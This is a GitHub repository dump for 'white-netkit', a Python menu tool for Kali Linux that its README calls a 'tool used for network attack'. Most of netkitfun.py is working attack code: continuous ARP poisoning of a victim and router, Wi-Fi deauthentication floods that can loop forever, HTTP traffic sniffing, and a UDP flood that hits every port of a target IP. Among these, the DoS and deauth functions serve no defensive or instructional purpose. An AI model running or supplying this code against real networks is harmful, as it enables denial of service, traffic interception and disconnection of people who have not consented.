├── .gitignore ├── README.md ├── netkitfun.py └── white-netkit.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # white-netkit for kali linux os 2 | This is a multipurpose tool which can be used in networking and network hacking related scenarioes. 3 | This toolkit is a collection of Python scripts that provide various network-related functionalities for network exploration, analysis, and security testing. It includes functionalities such as MAC address spoofing, Tor routing, ARP spoofing, deauthentication attacks, network device discovery, and HTTP sniffing. The toolkit makes use of popular Python libraries such as subprocess, os, time, scapy, socket, random, fcntl, and struct to perform these tasks. 4 | 5 | Install in kali linux 6 | commands (Run with root permissions -sudo su) 7 | _______________ 8 | $ apt update -y && apt upgrade -y 9 | $ pkg install git 10 | $ pkg install figlet 11 | $ apt install lolcat 12 | $ apt install python 13 | $ sudo apt-get install macchanger 14 | $ sudo apt-get install tor torsocks 15 | $ sudo apt-get install tcpdump 16 | $ git clone https://github.com/WH1T3-E4GL3/white-netkit.git 17 | $ cd white-netkit 18 | $ pip install scapy 19 | $ git pull 20 | $ python white-netkit.py 21 | 22 | 23 | The MAC address spoofing functionality allows you to change the MAC address of a network interface to any desired MAC address, providing anonymity and security in network communication. The Tor routing functionality allows you to route network connections through the Tor network for enhanced privacy and security. The ARP spoofing functionality allows you to perform ARP spoofing attacks, which can be used for various purposes such as intercepting network traffic or redirecting network connections. The deauthentication functionality allows you to send deauthentication packets to a target access point or client, effectively disconnecting them from the network. The network device discovery functionality allows you to discover connected devices in a network, including their IP and MAC addresses, and device names. The HTTP sniffing functionality allows you to capture and analyze HTTP packets in a network for further analysis or security testing purposes. 24 | 25 | Overall, this toolkit provides a comprehensive set of network-related functionalities that can be used for network exploration, analysis, and security testing in various network scenarios. It is a valuable tool for network administrators, security researchers, and ethical hackers who need to perform network-related tasks in their day-to-day activities. 26 | 27 | Tool used for network attack. 28 | Tool devoloped by white eagle. 29 | 30 | Github : https://github.com/WH1T3-E4GL3 31 | Telegram : https://t.me/Ka_KsHi_HaTaKe 32 | 33 | #screenshort 34 | 35 | ![Screenshot_2023-04-15_08_58_45](https://user-images.githubusercontent.com/118425907/232225639-a079da32-6464-4583-9536-76530ebaa245.png) 36 | 37 | 38 | -------------------------------------------------------------------------------- /netkitfun.py: -------------------------------------------------------------------------------- 1 | import subprocess #used in macchanging and tor and vpn and connected devices 2 | import os #used in tor, in ddos 3 | import time #used in arp-spoof, in ddos 4 | from scapy.all import ARP, send #used in arp-spoof 5 | from scapy.all import * #used in deauthentication and scapy 6 | from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp#Deauthentication 7 | from collections import namedtuple #show connected devices 8 | import fcntl #show connected devices 9 | import struct #show connected devices 10 | import re 11 | import sys 12 | from scapy.layers.http import HTTPRequest # in http sniff 13 | import socket #ddos 14 | import random #ddos 15 | import fcntl #connected device 16 | from collections import namedtuple #connected device 17 | 18 | #=========================================================================================================================== 19 | #Do sudo apt-get install macchanger to do this 20 | def macchanger(): 21 | interface = input("Enter your network interface : ") 22 | mac = input("Enter any mac address to spoof : ").strip() # remove any leading/trailing spaces 23 | subprocess.run(["macchanger", "-m", mac, interface]) 24 | #=========================================================================================================================== 25 | 26 | def resetmac(): 27 | interface = input("Enter your network interface : ") 28 | subprocess.run(["macchanger", "--permanent", interface]) 29 | 30 | #=========================================================================================================================== 31 | #sudo apt-get install tor torsocks 32 | def torroute(): 33 | # Start Tor service 34 | tor_process = subprocess.Popen(['sudo', 'service', 'tor', 'start'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 35 | stdout, stderr = tor_process.communicate() 36 | # Check if Tor started successfully 37 | if tor_process.returncode == 0: 38 | # Configure network settings to use Tor proxy 39 | os.environ['http_proxy'] = 'socks5h://localhost:9050' 40 | os.environ['https_proxy'] = 'socks5h://localhost:9050' 41 | print("Connection routed through Tor successfully!") 42 | else: 43 | print("Failed to route connection through Tor. Error message:\n", str(stderr)) 44 | #=========================================================================================================================== 45 | 46 | def torstop(): 47 | # Stop Tor service 48 | tor_process = subprocess.Popen(['sudo', 'service', 'tor', 'stop'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 49 | stdout, stderr = tor_process.communicate() 50 | # Check if Tor stopped successfully 51 | if tor_process.returncode == 0: 52 | print("Tor stopped successfully!") 53 | else: 54 | print("Failed to stop Tor. Error message:\n", str(stderr)) 55 | 56 | #============================================================================================================================= 57 | #Here was something... 58 | # 59 | # 60 | #============================================================================================================================= 61 | 62 | #pip install scapy 63 | def arp_spoof(victim_ip, victim_mac, router_ip, router_mac): 64 | send(ARP(op=2, pdst=victim_ip, psrc=router_ip, hwdst=victim_mac)) 65 | send(ARP(op=2, pdst=router_ip, psrc=victim_ip, hwdst=router_mac)) 66 | 67 | #============================================================================================================================= 68 | def arp_spoof_main(): 69 | victim_ip = input("Enter the victim's IP address: ") 70 | victim_mac = input("Enter the victim's MAC address: ") 71 | router_ip = input("Enter the router IP: ") 72 | router_mac = input("Enter the router MAC: ") #type arp -a to get router ip and mac 73 | while True: 74 | arp_spoof(victim_ip, victim_mac, router_ip, router_mac) 75 | time.sleep(1) 76 | #============================================================================================================================= 77 | 78 | def deauth(): 79 | iface = input("Enter the name of the interface to use: ") 80 | bssid = input("Enter the MAC address of the access point (BSSID): ") 81 | target_mac = input("Enter the MAC address of the target: ") 82 | count = int(input("Enter the number of deauthentication packets to send (0 for continuous): ")) 83 | dot11 = Dot11(addr1=target_mac, addr2=bssid, addr3=bssid) 84 | frame = RadioTap()/dot11/Dot11Deauth() 85 | if count == 0: 86 | sendp(frame, iface=iface, inter=0.1, loop=True) 87 | else: 88 | sendp(frame, iface=iface, count=count, inter=0.1) 89 | #================================================================================================================================= 90 | def get_interface_ip_address(ifname): 91 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 92 | return socket.inet_ntoa(fcntl.ioctl( 93 | s.fileno(), 94 | 0x8915, # SIOCGIFADDR 95 | struct.pack('256s', ifname[:15].encode()) 96 | )[20:24]) 97 | 98 | def get_network_devices(): 99 | NetworkDevice = namedtuple('NetworkDevice', ['ip_address', 'mac_address', 'device']) 100 | devices = [] 101 | output = subprocess.check_output(['arp', '-a']) 102 | output = output.decode('utf-8').split('\n') 103 | for line in output: 104 | if '(' in line and ')' in line: 105 | ip_address = line.split('(')[1].split(')')[0] 106 | mac_address = line.split()[3] 107 | device = line.split(' ')[5].strip('()') 108 | devices.append(NetworkDevice(ip_address, mac_address, device)) 109 | return devices 110 | 111 | def show_devices(): 112 | devices = get_network_devices() 113 | print('{:<20} {:<20} {:<20}'.format('IP Address', 'MAC Address', 'Device')) 114 | print('-' * 60) 115 | for device in devices: 116 | print('{:<20} {:<20} {:<20}'.format(device.ip_address, device.mac_address, device.device)) 117 | #============================================================================================================== 118 | 119 | def process_packet(packet): 120 | if packet.haslayer(HTTPRequest): 121 | url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() 122 | method = packet[HTTPRequest].Method.decode() 123 | print(f"{method} {url}") 124 | 125 | def sniff_http_traffic(): 126 | interface = input("Enter the name of your network interface (e.g. wlan0): ") 127 | print(f"Sniffing HTTP traffic on {interface}...\n") 128 | sniff(filter="tcp port 80", prn=process_packet, iface=interface) 129 | 130 | #============================================================================================================== 131 | B = '\033[1m' 132 | R = '\033[31m' 133 | N = '\033[0m' 134 | 135 | def udp_flood_attack(): 136 | # Create a UDP socket 137 | white = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 138 | # Generate 3500 bytes of random data to be sent in each packet 139 | bytes = random._urandom(3500) 140 | # Prompt the user to enter the target IP address 141 | ip = input("[+] Target's IP: ") 142 | # Clear the screen 143 | os.system("clear") 144 | # Print a message indicating that the attack is starting 145 | print("Attack starting...") 146 | time.sleep(3) 147 | # Send packets to every port on the target IP address 148 | sent = 0 149 | while True: 150 | for port in range(1, 65534): 151 | # Send a packet to the target IP address and port 152 | white.sendto(bytes, (ip, port)) 153 | # Increment the number of packets sent 154 | sent += 1 155 | # Print a message indicating the number of packets sent, the target IP address, and the port number 156 | print(B + R + f"Send {sent} Packets to {ip} Through port {port}" + N) 157 | #============================================================================================================== 158 | def scan_network(ip_range): 159 | active_ips = [] 160 | for i in range(1, 255): 161 | ip = ip_range + str(i) 162 | response = subprocess.call(['ping', '-c', '1', '-W', '1', ip], stdout=subprocess.DEVNULL) 163 | if response == 0: 164 | active_ips.append(ip) 165 | print(f"\033[92m{ip} is active\033[0m") 166 | else: 167 | print(f"\033[91m{ip} is inactive\033[0m") 168 | return active_ips 169 | -------------------------------------------------------------------------------- /white-netkit.py: -------------------------------------------------------------------------------- 1 | from netkitfun import * 2 | 3 | os.system("clear") 4 | os.system("figlet White Netkit | lolcat") 5 | message = " Developed By WHITE L' The Network Kit" 6 | # Use subprocess to execute the echo command and pipe the message to lolcat 7 | p1 = subprocess.Popen(['echo', '-n', message], stdout=subprocess.PIPE) 8 | p2 = subprocess.Popen(['lolcat'], stdin=p1.stdout, stdout=subprocess.PIPE) 9 | # Decode the output and print it 10 | output = p2.communicate()[0].decode('utf-8') 11 | print(output) 12 | 13 | 14 | message = """\033[33m 15 | █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 16 | █ 𝗠𝗘𝗡𝗨 17 | █============================================= 18 | █ 1. Change MAC address 19 | █ 2. Reset MAC address 20 | █ 3. Route your full device through TOR 21 | █ 4. Stop routing via TOR 22 | █ 5. show devices connected to the Network 23 | █ 6. Start a deauthentication attack 24 | █ 7. Start ARP Poisoning attack 25 | █ 8. Sniff the http traffic in the network 26 | █ 9. Dos attack (UDP flooding) 27 | █ 10. Scan your ip range for showing active devices 28 | █ 11. Contact devoloper 29 | █ 12. Exit 30 | █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 31 | \033[0m 32 | """ 33 | print(message) 34 | 35 | choice = int(input("\033[1m\033[33;32m[+] Select an option number from the above menu >\033[0m ")) 36 | 37 | if choice == 1: 38 | macchanger() 39 | elif choice == 2: 40 | resetmac() 41 | elif choice == 3: 42 | torroute() 43 | elif choice == 4: 44 | torstop() 45 | elif choice == 5: 46 | show_devices() 47 | elif choice == 6: 48 | deauth() 49 | elif choice == 7: 50 | arp_spoof_main() 51 | elif choice == 8: 52 | sniff_http_traffic() 53 | elif choice == 9: 54 | udp_flood_attack() 55 | elif choice == 10: 56 | iprange=input("[+] Enter your ip start range(eg:10.0.2.0) > ") 57 | scan_network(iprange) 58 | elif choice == 11: 59 | os.system("clear") 60 | print(""" 61 | \033[32m================================================================\033[0m 62 | \033[32mTool devoloped : WHITE L'\033[0m 63 | \033[33mGithub : https://github.com/WH1T3-E4GL3/\033[0m 64 | \033[33mTelegram : https://t.me/Ka_KsHi_HaTaKe\033[0m 65 | \033[32m================================================================\033[0m 66 | """) 67 | elif choice == 12: 68 | print(" ") 69 | print("Ok bye...") 70 | print("Thank you for using white netkit...") 71 | print(" ") 72 | os.system("exit") 73 | elif choice == 13: 74 | # Prompt user for network interface name 75 | ifname = input("Enter the network interface name: ") 76 | show_devices(ifname) 77 | else: 78 | print("\033[31m[ERROR!]\033[0m Invalid input, please try again.") 79 | --------------------------------------------------------------------------------